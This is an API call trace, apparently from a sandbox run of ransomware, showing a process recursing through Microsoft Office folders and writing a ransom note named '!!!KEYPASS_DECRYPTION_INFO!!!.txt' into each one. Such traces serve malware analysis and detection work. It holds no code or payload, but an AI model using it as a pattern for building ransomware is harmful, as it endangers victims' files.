returned 0x3f0 [0276.098] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.098] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.099] GetFileType (hFile=0x17f8) returned 0x1 [0276.099] CloseHandle (hObject=0x17f8) returned 1 [0276.100] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.100] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.100] GetLastError () returned 0x3f0 [0276.100] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.100] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.101] GetFileType (hFile=0x17fc) returned 0x1 [0276.102] CloseHandle (hObject=0x17fc) returned 1 [0276.102] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.102] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.102] GetLastError () returned 0x3f0 [0276.102] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.102] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.102] GetFileType (hFile=0x1804) returned 0x1 [0276.103] CloseHandle (hObject=0x1804) returned 1 [0276.103] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.104] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.104] GetLastError () returned 0x3f0 [0276.104] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.104] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.105] GetFileType (hFile=0x1808) returned 0x1 [0276.106] CloseHandle (hObject=0x1808) returned 1 [0276.106] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0276.106] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.106] GetLastError () returned 0x3f0 [0276.106] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.106] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4ca68, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1810 [0276.108] GetFileType (hFile=0x1810) returned 0x1 [0276.108] WriteFile (in: hFile=0x1810, lpBuffer=0x2e4b700*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b02c, lpOverlapped=0x0 | out: lpBuffer=0x2e4b700*, lpNumberOfBytesWritten=0x2e4b02c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.109] WriteFile (in: hFile=0x1810, lpBuffer=0x2e4b700*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b02c, lpOverlapped=0x0 | out: lpBuffer=0x2e4b700*, lpNumberOfBytesWritten=0x2e4b02c*=0x2a, lpOverlapped=0x0) returned 1 [0276.109] CloseHandle (hObject=0x1810) returned 1 [0276.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\*", lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 0x3997470 [0276.109] FindNextFileW (in: hFindFile=0x3997470, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 1 [0276.109] FindNextFileW (in: hFindFile=0x3997470, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 1 [0276.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.109] FindNextFileW (in: hFindFile=0x3997470, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 0 [0276.109] FindNextFileW (in: hFindFile=0x3997530, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.109] FindNextFileW (in: hFindFile=0x39977b0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.109] FindNextFileW (in: hFindFile=0x3997430, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.109] FindNextFileW (in: hFindFile=0x50ea9c8, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.109] FindNextFileW (in: hFindFile=0x50ea948, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.110] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.110] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.110] GetLastError () returned 0x3f0 [0276.110] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.110] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\odbc\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1814 [0276.111] GetFileType (hFile=0x1814) returned 0x1 [0276.111] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.111] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.111] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.111] WriteFile (in: hFile=0x1814, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.112] WriteFile (in: hFile=0x1814, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.112] CloseHandle (hObject=0x1814) returned 1 [0276.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x39976b0 [0276.112] FindNextFileW (in: hFindFile=0x39976b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.112] FindNextFileW (in: hFindFile=0x39976b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.112] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.113] FindNextFileW (in: hFindFile=0x39976b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.113] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.113] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.113] GetLastError () returned 0x3f0 [0276.113] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\Data Sources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\Data Sources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.113] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\Data Sources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\Data Sources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\odbc\\data sources\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1818 [0276.114] GetFileType (hFile=0x1818) returned 0x1 [0276.114] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.114] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.114] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.114] WriteFile (in: hFile=0x1818, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.115] WriteFile (in: hFile=0x1818, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.115] CloseHandle (hObject=0x1818) returned 1 [0276.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\Data Sources\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997730 [0276.115] FindNextFileW (in: hFindFile=0x3997730, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.116] FindNextFileW (in: hFindFile=0x3997730, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.116] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\ODBC\\Data Sources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.116] FindNextFileW (in: hFindFile=0x3997730, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.116] FindNextFileW (in: hFindFile=0x39976b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.116] FindNextFileW (in: hFindFile=0x50ea948, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.116] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.116] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.116] GetLastError () returned 0x3f0 [0276.116] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.116] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\system\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x181c [0276.117] GetFileType (hFile=0x181c) returned 0x1 [0276.117] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.117] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.117] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.117] WriteFile (in: hFile=0x181c, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.118] WriteFile (in: hFile=0x181c, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.118] CloseHandle (hObject=0x181c) returned 1 [0276.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x39977f0 [0276.118] FindNextFileW (in: hFindFile=0x39977f0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.118] FindNextFileW (in: hFindFile=0x39977f0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.118] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.118] FindNextFileW (in: hFindFile=0x39977f0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.118] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.118] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.119] GetLastError () returned 0x3f0 [0276.119] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.119] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\system\\msmapi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1820 [0276.120] GetFileType (hFile=0x1820) returned 0x1 [0276.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.120] WriteFile (in: hFile=0x1820, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.121] WriteFile (in: hFile=0x1820, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.121] CloseHandle (hObject=0x1820) returned 1 [0276.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997170 [0276.121] FindNextFileW (in: hFindFile=0x3997170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.121] FindNextFileW (in: hFindFile=0x3997170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.122] FindNextFileW (in: hFindFile=0x3997170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.122] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.122] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.122] GetLastError () returned 0x3f0 [0276.122] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.122] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft 